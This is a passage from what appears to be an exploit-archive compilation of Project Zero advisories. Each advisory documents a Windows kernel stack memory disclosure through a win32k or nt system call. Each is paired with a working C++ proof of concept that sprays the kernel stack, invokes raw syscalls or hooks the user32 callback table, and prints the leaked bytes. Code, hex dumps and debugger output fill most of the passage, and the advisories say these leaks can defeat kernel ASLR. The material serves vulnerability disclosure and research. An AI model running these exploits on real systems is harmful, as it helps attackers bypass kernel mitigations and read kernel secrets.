  CONST ULONG __NR_NtGdiGetOutlineTextMetricsInternalW = 0x10c6;

  // Create a Device Context.
  HDC hdc = CreateCompatibleDC(NULL);

  // Create a TrueType font.
  HFONT hfont = CreateFont(10,                  // nHeight
                           10,                  // nWidth
                           0,                   // nEscapement
                           0,                   // nOrientation
                           FW_DONTCARE,         // fnWeight
                           FALSE,               // fdwItalic
                           FALSE,               // fdwUnderline
                           FALSE,               // fdwStrikeOut
                           ANSI_CHARSET,        // fdwCharSet
                           OUT_DEFAULT_PRECIS,  // fdwOutputPrecision
                           CLIP_DEFAULT_PRECIS, // fdwClipPrecision
                           DEFAULT_QUALITY,     // fdwQuality
                           FF_DONTCARE,         // fdwPitchAndFamily
                           L"Times New Roman");

  // Select the font into the DC.
  SelectObject(hdc, hfont);

  // Spray the kernel stack to get visible results.
  SprayKernelStack();

  // Read the 4 uninitialized kernel stack bytes and print them on screen.
  DWORD output[2] = { /* zero padding */ };
  if (!SystemCall32(__NR_NtGdiGetOutlineTextMetricsInternalW, hdc, 0, NULL, output)) {
    printf("NtGdiGetOutlineTextMetricsInternalW failed\n");
    DeleteObject(hfont);
    DeleteDC(hdc);
    return 1;
  }

  printf("Data read: %x\n", output[1]);

  // Free resources.
  DeleteObject(hfont);
  DeleteDC(hdc);

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1181

We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7-10 through the win32k!NtGdiGetRealizationInfo system call.

The concrete layout of the input/output structure is unclear (symbols indicate its name is FONT_REALIZATION_INFO), but the first DWORD field contains the structure size, which can be either 16 or 24. The internal win32k!GreGetRealizationInfo function then initializes a local copy of the structure on the kernel stack with an adequate number of bytes. However, the syscall handler later copies the full 24 bytes of memory back to user-mode, regardless of the declared size of the structure, and the number of bytes initialized within it:

--- cut ---
.text:BF86F307                 mov     edi, ecx
.text:BF86F309
.text:BF86F309 loc_BF86F309:
.text:BF86F309                 push    6
.text:BF86F30B                 pop     ecx
.text:BF86F30C                 lea     esi, [ebp+var_30]
.text:BF86F30F                 rep movsd
--- cut ---

In other words, if we pass in a structure with .Size set to 16, the kernel will leak 8 uninitialized stack bytes back to us. This condition is illustrated by the attached proof-of-concept program, which first sprays 1024 bytes of the kernel stack with the 0x41 ('A') value, and then invokes the affected system call. The result of starting the program on Windows 7 32-bit is as follows:

--- cut ---
00000000: 10 00 00 00 03 01 00 00 2d 00 00 00 65 00 00 46 ........-...e..F
00000010: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........
--- cut ---

It is clearly visible that the 8 trailing bytes are set to the leftover 'A's artificially set up to demonstrate the security issue.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

// Own implementation of memset(), which guarantees no data is spilled on the local stack.
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Windows 7 32-bit.
  CONST ULONG __NR_NtGdiEngCreatePalette = 0x129c;

  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[1024];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  SystemCall32(__NR_NtGdiEngCreatePalette, 1, sizeof(buffer) / sizeof(DWORD), buffer, 0, 0, 0);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Windows 7 32-bit.
  CONST ULONG __NR_NtGdiGetRealizationInfo = 0x10cb;

  // Create a Device Context.
  HDC hdc = CreateCompatibleDC(NULL);

  // Create a TrueType font.
  HFONT hfont = CreateFont(10,                  // nHeight
                           10,                  // nWidth
                           0,                   // nEscapement
                           0,                   // nOrientation
                           FW_DONTCARE,         // fnWeight
                           FALSE,               // fdwItalic
                           FALSE,               // fdwUnderline
                           FALSE,               // fdwStrikeOut
                           ANSI_CHARSET,        // fdwCharSet
                           OUT_DEFAULT_PRECIS,  // fdwOutputPrecision
                           CLIP_DEFAULT_PRECIS, // fdwClipPrecision
                           DEFAULT_QUALITY,     // fdwQuality
                           FF_DONTCARE,         // fdwPitchAndFamily
                           L"Times New Roman");

  // Select the font into the DC.
  SelectObject(hdc, hfont);

  // Spray the kernel stack to get visible results.
  SprayKernelStack();

  // Read the uninitialized kernel stack bytes and print them on screen.
  DWORD output[6] = { /* zero padding */ };
  output[0] = 16;

  if (!SystemCall32(__NR_NtGdiGetRealizationInfo, hdc, output)) {
    printf("NtGdiGetRealizationInfo failed\n");
    DeleteObject(hfont);
    DeleteDC(hdc);
    return 1;
  }

  PrintHex((PBYTE)output, sizeof(output));

  // Free resources.
  DeleteObject(hfont);
  DeleteDC(hdc);

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1180

We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7 (other systems untested) through the win32k!NtGdiGetTextMetricsW system call.

The output structure used by the syscall, according to various sources, is TMW_INTERNAL, which wraps the TEXTMETRICW and TMDIFF structures (see e.g. the PoC for  issue #480 ). The disclosure occurs when the service is called against a Device Context with one of the stock fonts selected (we're using DEVICE_DEFAULT_FONT). Then, we can find 7 uninitialized kernel stack bytes at offsets 0x39-0x3f of the output buffer. An example output of the attached proof-of-concept program started on Windows 7 32-bit is as follows:

--- cut ---
00000000: 10 00 00 00 0d 00 00 00 03 00 00 00 03 00 00 00 ................
00000010: 00 00 00 00 07 00 00 00 0f 00 00 00 bc 02 00 00 ................
00000020: 00 00 00 00 60 00 00 00 60 00 00 00 20 00 22 21 ....`...`... ."!
00000030: ac 20 20 00 00 00 00 21 ee[03 81 ff 35 64 36 8f].  ....!....5d6.
00000040: 20 ff 80 20 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??  .. ............
--- cut ---

Here, the leaked bytes are "03 81 ff 35 64 36 8f". If we map the 0x39-0x3f offsets to the layout of the TMW_INTERNAL structure, it turns out that the 7 bytes in question correspond to the 3 alignments bytes past the end of TEXTMETRICSW (which itself has an odd length of 57 bytes), and the first 4 bytes of the TMDIFF structure.

Triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  // Windows 7 32-bit.
  CONST ULONG __NR_NtGdiGetTextMetricsW = 0x10d9;

  // Create a Device Context.
  HDC hdc = CreateCompatibleDC(NULL);

  // Get a handle to the stock font.
  HFONT hfont = (HFONT)GetStockObject(DEVICE_DEFAULT_FONT);
  if (hfont == NULL) {
    printf("GetCurrentObject failed\n");
    return 1;
  }

  // Select the font into the DC.
  SelectObject(hdc, hfont);

  // Trigger the vulnerability and dump the kernel output on stdout.
  BYTE output[0x44] = { /* zero padding */ };
  if (!SystemCall32(__NR_NtGdiGetTextMetricsW, hdc, output, sizeof(output))) {
    printf("NtGdiGetTextMetricsW failed\n");
    DeleteObject(hfont);
    DeleteDC(hdc);
    return 1;
  }

  PrintHex(output, sizeof(output));

  // Free resources.
  DeleteObject(hfont);
  DeleteDC(hdc);

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1186

We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7 (other platforms untested) indirectly through the win32k!NtGdiOpenDCW system call. The analysis shown below was performed on Windows 7 32-bit.

The full stack trace of where uninitialized kernel stack data is leaked to user-mode is as follows:

--- cut ---
9706b8b4 82ab667d nt!memcpy+0x35
9706b910 92bf8220 nt!KeUserModeCallback+0xc6
9706b954 92c01d1f win32k!pppUserModeCallback+0x23
9706b970 92c096c8 win32k!ClientPrinterThunk+0x41
9706ba24 92b0c722 win32k!UMPDDrvEnablePDEV+0x18c
9706bc20 92b74bc4 win32k!PDEVOBJ::PDEVOBJ+0x1c5
9706bca4 92b6b2a6 win32k!hdcOpenDCW+0x18c
9706bd0c 82876db6 win32k!NtGdiOpenDCW+0x112
9706bd0c 77486c74 nt!KiSystemServicePostCall
0022fa18 772e9978 ntdll!KiFastSystemCallRet
0022fa1c 772e9a0e GDI32!NtGdiOpenDCW+0xc
0022fca8 772e9bab GDI32!hdcCreateDCW+0x1b1
0022fcf4 772e9c5d GDI32!bCreateDCA+0xe4
0022fd10 00405114 GDI32!CreateICA+0x18
--- cut ---

At the time of this callstack, the win32k!ClientPrinterThunk function invokes a user-mode callback #93 (corresponding to user32!__ClientPrinterThunk), and passes in an input structure of 0x6C bytes. We have found that 8 bytes at offset 0x4C and 12 bytes at offset 0x60 of that structure are uninitialized. We have tracked that this structure originates from the stack frame of the win32k!UMPDDrvEnablePDEV function, and is passed down to win32k!UMPDOBJ::Thunk in the 2nd argument.

The uninitialized data can be obtained by a user-mode application by hooking the appropriate entry in the user32.dll callback dispatch table, and reading data from a pointer provided through the handler's parameter. This technique is illustrated by the attached proof-of-concept code (again, specific to Windows 7 32-bit). If we attach a WinDbg debugger to the tested system, we can set a breakpoint at the beginning of win32k!UMPDDrvEnablePDEV, manually initialize the overall structure copied to user-mode with a marker 0x41 ('A') byte after the stack frame allocation instructions, and then observe some of these bytes in the output of the PoC program. This indicates they were not initialized anywhere during execution between win32k!UMPDDrvEnablePDEV and nt!KeUserModeCallback(), and copied in the leftover form to user-mode. See below:

--- cut ---
1: kd> ba e 1 win32k!UMPDDrvEnablePDEV
1: kd> g
Breakpoint 0 hit
win32k!UMPDDrvEnablePDEV:
9629957c 6a7c            push    7Ch
0: kd> p
win32k!UMPDDrvEnablePDEV+0x2:
9629957e 68d0633796      push    offset win32k!__safe_se_handler_table+0x7c98 (963763d0)
0: kd> p
win32k!UMPDDrvEnablePDEV+0x7:
96299583 e828b4f8ff      call    win32k!_SEH_prolog4 (962249b0)
0: kd> p
win32k!UMPDDrvEnablePDEV+0xc:
96299588 8d4de4          lea     ecx,[ebp-1Ch]
0: kd> f ebp-8c ebp-8c+6c-1 41
Filled 0x6c bytes
0: kd> g
--- cut ---

After executing the above commands, the program should print output similar to the following:

--- cut ---
[...]
00000000: 6c 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 l...............
00000010: 1c 03 11 59 d8 e2 31 00 74 02 c6 01 a8 06 c6 01 ...Y..1.t.......
00000020: 06 00 00 00 00 00 c3 01 30 01 00 00 18 00 c3 01 ........0.......
00000030: 2c 01 00 00 48 01 c3 01 30 21 a0 ff e4 06 c6 01 ,...H...0!......
00000040: 84 9b 31 00 00 00 00 00 00 00 00 00 41 41 41 41 ..1.........AAAA
00000050: 41 41 41 41 74 02 c3 01 74 02 c4 01 74 02 c5 01 AAAAt...t...t...
00000060: 41 41 41 41 41 41 41 41 41 41 41 41 ?? ?? ?? ?? AAAAAAAAAAAA....
[...]
--- cut ---

It's clearly visible that bytes at offsets 0x4c-0x53 and 0x60-0x6b are equal to the data we set in the prologue of win32k!UMPDDrvEnablePDEV, which illustrates how uninitialized stack data is leaked to user-mode.

If we skip the manual initialization of bytes in the stack frame with a kernel debugger, an example output of the program is as follows:

--- cut ---
00000000: 6c 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 l...............
00000010: 75 03 11 55 d8 e2 25 00 74 02 96 01 a8 06 96 01 u..U..%.t.......
00000020: 06 00 00 00 00 00 93 01 30 01 00 00 18 00 93 01 ........0.......
00000030: 2c 01 00 00 48 01 93 01 30 21 a0 ff e4 06 96 01 ,...H...0!......
00000040: 84 9b 25 00 00 00 00 00 00 00 00 00[96 6f 89 82]..%..........o..
00000050:[28 65 9d 84]74 02 93 01 74 02 94 01 74 02 95 01 (e..t...t...t...
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ................
--- cut ---

In the above listing, two kernel-mode addresses are leaked at offsets 0x4c and 0x50: an address of the ntoskrnl.exe image, and an address of a non-paged pool allocation:

--- cut ---
0: kd> !address 849d6528
[...]

Usage:                  
Base Address:           84800000
End Address:            84a00000
Region Size:            00200000
VA Type:                NonPagedPool
VAD Address:            0x8800000067317cf2
Commit Charge:          0x1000165643ec0
Protection:             0x8800000067317cf0 []
Memory Usage:           Private
No Change:              yes
More info:              !vad 0x84800000
0: kd> !address 82896f96


Usage:                  Module
Base Address:           8281c000
End Address:            82c38000
Region Size:            0041c000
VA Type:                BootLoaded
Module name:            ntoskrnl.exe
Module path:            [\SystemRoot\system32\ntkrnlpa.exe]
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

namespace globals {
  LPVOID (WINAPI *OrigClientPrinterThunk)(LPVOID);
}  // namespace globals;

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

PVOID *GetUser32DispatchTable() {
  __asm{
    mov eax, fs:30h
    mov eax, [eax + 0x2c]
  }
}

BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler, PVOID *lpOrigHandler) {
  PVOID *DispatchTable = GetUser32DispatchTable();
  DWORD OldProtect;

  if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) {
    printf("VirtualProtect#1 failed, %d\n", GetLastError());
    return FALSE;
  }

  *lpOrigHandler = DispatchTable[Index];
  DispatchTable[Index] = lpNewHandler;

  if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) {
    printf("VirtualProtect#2 failed, %d\n", GetLastError());
    return FALSE;
  }

  return TRUE;
}

LPVOID WINAPI ClientPrinterThunkHook(LPVOID Data) {
  printf("----------\n");
  PrintHex((PBYTE)Data, ((PDWORD)Data)[0]);
  return globals::OrigClientPrinterThunk(Data);
}

int main() {
  if (!HookUser32DispatchFunction(93, ClientPrinterThunkHook, (PVOID *)&globals::OrigClientPrinterThunk)) {
    return 1;
  }

  HDC hic = CreateICA("Microsoft XPS Document Writer", "Microsoft XPS Document Writer", NULL, NULL);
  DeleteDC(hic);

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1189&desc=2

We have discovered that the nt!NtQueryInformationJobObject system call (corresponding to the documented QueryInformationJobObject() API function) called with the JobObjectExtendedLimitInformation information class discloses portions of uninitialized kernel stack memory to user-mode clients, due to output structure alignment holes.

On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---

Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. The output data is returned in a JOBOBJECT_EXTENDED_LIMIT_INFORMATION structure [1]. If we map the above shadow bytes to the structure definition, it turns out that the uninitialized bytes correspond to the alignment hole between the end of the JOBOBJECT_BASIC_LIMIT_INFORMATION structure and the beginning of the adjacent IO_COUNTERS structure. The length of the former is 0x2C (44), while the latter must be 8-byte aligned, so there is a gap at offsets 0x2C-0x2F, which is not initialized by the kernel.

The vulnerability can be easily demonstrated with a kernel debugger (WinDbg), by setting a breakpoint on nt!NtQueryInformationJobObject, manually filling out the structure memory with a marker byte (0x41), and then observing four of these bytes printed out by the attached proof-of-concept program:

--- cut ---
2: kd> bp nt!NtQueryInformationJobObject
2: kd> g
Breakpoint 0 hit
nt!NtQueryInformationJobObject:
818d5891 6890010000      push    190h
3: kd> p
nt!NtQueryInformationJobObject+0x5:
818d5896 68e0cf6981      push    offset nt! ?? ::FNODOBFM::`string'+0x6100 (8169cfe0)
3: kd> p
nt!NtQueryInformationJobObject+0xa:
818d589b e8b8dbdeff      call    nt!_SEH_prolog4 (816c3458)
3: kd> p
nt!NtQueryInformationJobObject+0xf:
818d58a0 33f6            xor     esi,esi
3: kd> f ebp-18c ebp-18c+70-1 41
Filled 0x70 bytes
3: kd> g
--- cut ---

An example output on our test virtual machine is as follows:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 20 00 00 00 05 00 00 00 41 41 41 41 .... .......AAAA
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.

################################################################################

Upon further investigation of the bug, we have determined the following:

- Not only the JobObjectExtendedLimitInformation (9), but also the JobObjectBasicLimitInformation (2) information class is affected by the vulnerability. The issue is very similar in that it also leaks 4 uninitialized bytes of kernel stack at offset 0x2C of the output structure. Since both classes are handled by the same or very close code areas, we are treating both cases as the same bug.

- Windows 10 (contrary to Windows 7) allows the output buffer for JobObjectExtendedLimitInformation to optionally be 120-bytes long instead of the typical 112. In that case, extra 4 kernel stack bytes are leaked at the end of the structure.

- It is possible to demonstrate the bug without resorting to a kernel debugger, by using the nt!NtMapUserPhysicalPages system call to spray the kernel stack with a large number of controlled bytes, and then invoking the affected nt!NtQueryInformationJobObject syscall directly, instead of through the QueryInformationJobObject() API.

To address all of the above new facts, I'm attaching a new proof-of-concept program, specific to Windows 10 1607 32-bit, which demonstrates the memory disclosure in all three possible settings: JobObjectBasicLimitInformation (output length 48), JobObjectExtendedLimitInformation (output length 112) and JobObjectExtendedLimitInformation (output length 120). An example output of the program is shown below:

--- cut ---
JobObjectBasicLimitInformation:
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 05 00 00 00 41 41 41 41 ............AAAA
JobObjectExtendedLimitInformation (112):
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 05 00 00 00 41 41 41 41 ............AAAA
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
JobObjectExtendedLimitInformation (120):
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 05 00 00 00 41 41 41 41 ............AAAA
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
--- cut ---
*/

#include <Windows.h>
#include <winternl.h>
#include <cstdio>

extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
);

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[4096];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Windows 10 1607 32-bit.
  CONST ULONG __NR_NtQueryInformationJobObject = 0x00b9;

  // Create a job object to operate on.
  HANDLE hJob = CreateJobObject(NULL, NULL);

  // Spray the kernel stack with a marker value, to get visible results.
  SprayKernelStack();

  // Trigger the bug in nt!NtQueryInformationJobObject(JobObjectBasicLimitInformation).
  DWORD ReturnLength = 0;
  BYTE output[120] = { /* zero padding */ };
 
  NTSTATUS st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, JobObjectBasicLimitInformation, &output, sizeof(JOBOBJECT_BASIC_LIMIT_INFORMATION), &ReturnLength);
  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationJobObject#1 failed, %x\n", st);
    CloseHandle(hJob);
    return 1;
  }

  // Print out the output.
  printf("JobObjectBasicLimitInformation:\n");
  PrintHex(output, ReturnLength);

  // Spray the kernel again before invoking the affected system call.
  SprayKernelStack();

  // Trigger the bug in nt!NtQueryInformationJobObject(JobObjectExtendedLimitInformation), buffer size 112.
  ZeroMemory(output, sizeof(output));

  st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, JobObjectExtendedLimitInformation, output, 112, &ReturnLength);
  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationJobObject#2 failed, %x\n", st);
    CloseHandle(hJob);
    return 1;
  }

  // Print the output again.
  printf("JobObjectExtendedLimitInformation (112):\n");
  PrintHex(output, ReturnLength);

  // Spray the kernel again before invoking the affected system call.
  SprayKernelStack();

  // Trigger the bug in nt!NtQueryInformationJobObject(JobObjectExtendedLimitInformation), buffer size 120.
  ZeroMemory(output, sizeof(output));

  st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, JobObjectExtendedLimitInformation, output, 120, &ReturnLength);
  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationJobObject#2 failed, %x\n", st);
    CloseHandle(hJob);
    return 1;
  }

  // Print the output again.
  printf("JobObjectExtendedLimitInformation (120):\n");
  PrintHex(output, ReturnLength);

  // Free resources.
  CloseHandle(hJob);

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1190&desc=2

We have discovered that the nt!NtQueryInformationProcess system call called with the ProcessVmCounters information class discloses portions of uninitialized kernel stack memory to user-mode clients, due to output structure alignment holes.

On our test Windows 10 32-bit workstation, an example layout of the output buffer is as follows:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 ................
--- cut ---

Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. The output data can be returned in a VM_COUNTERS_EX2 structure:

--- cut ---
typedef struct _VM_COUNTERS_EX {
  SIZE_T PeakVirtualSize;
  SIZE_T VirtualSize;
  ULONG PageFaultCount;
  SIZE_T PeakWorkingSetSize;
  SIZE_T WorkingSetSize;
  SIZE_T QuotaPeakPagedPoolUsage;
  SIZE_T QuotaPagedPoolUsage;
  SIZE_T QuotaPeakNonPagedPoolUsage;
  SIZE_T QuotaNonPagedPoolUsage;
  SIZE_T PagefileUsage;
  SIZE_T PeakPagefileUsage;
  SIZE_T PrivateUsage;
} VM_COUNTERS_EX;

typedef struct _VM_COUNTERS_EX2 {
  VM_COUNTERS_EX CountersEx;
  SIZE_T PrivateWorkingSetSize;
  ULONGLONG SharedCommitUsage;
} VM_COUNTERS_EX2, *PVM_COUNTERS_EX2;
--- cut ---

If we map the above shadow bytes to the structure definition, it turns out that the uninitialized bytes correspond to the alignment hole between the PrivateWorkingSetSize and SharedCommitUsage fields. The PrivateWorkingSetSize field ends at offset 0x34 of the structure, while SharedCommitUsage must be 8-byte aligned, causing a gap to be introduced at offsets 0x34-0x37, which is not initialized by the kernel prior to being copied back to the client application.

The attached proof of concept code works by first filling a large portion of the kernel stack with a controlled marker byte 0x41 ('A') using the nt!NtMapUserPhysicalPages system call, and then invokes the affected nt!NtQueryInformationProcess syscall. As a result, we can observe that these leftover bytes are indeed leaked to user-mode at offset 0x34 of the output structure:

--- cut ---
00000000: 00 50 a8 00 00 50 a8 00 9b 01 00 00 00 00 19 00 .P...P..........
00000010: 00 00 19 00 48 45 00 00 98 44 00 00 30 0a 00 00 ....HE...D..0...
00000020: 00 05 00 00 00 d0 05 00 00 c0 06 00 00 d0 05 00 ................
00000030: 00 30 02 00[41 41 41 41]00 30 05 00 00 00 00 00 .0..AAAA.0......
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <cstdio>

#define ProcessVmCounters ((PROCESSINFOCLASS)3)

typedef struct _VM_COUNTERS_EX {
  SIZE_T PeakVirtualSize;
  SIZE_T VirtualSize;
  ULONG PageFaultCount;
  SIZE_T PeakWorkingSetSize;
  SIZE_T WorkingSetSize;
  SIZE_T QuotaPeakPagedPoolUsage;
  SIZE_T QuotaPagedPoolUsage;
  SIZE_T QuotaPeakNonPagedPoolUsage;
  SIZE_T QuotaNonPagedPoolUsage;
  SIZE_T PagefileUsage;
  SIZE_T PeakPagefileUsage;
  SIZE_T PrivateUsage;
} VM_COUNTERS_EX;

typedef struct _VM_COUNTERS_EX2 {
  VM_COUNTERS_EX CountersEx;
  SIZE_T PrivateWorkingSetSize;
  ULONGLONG SharedCommitUsage;
} VM_COUNTERS_EX2, *PVM_COUNTERS_EX2;

extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
);

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
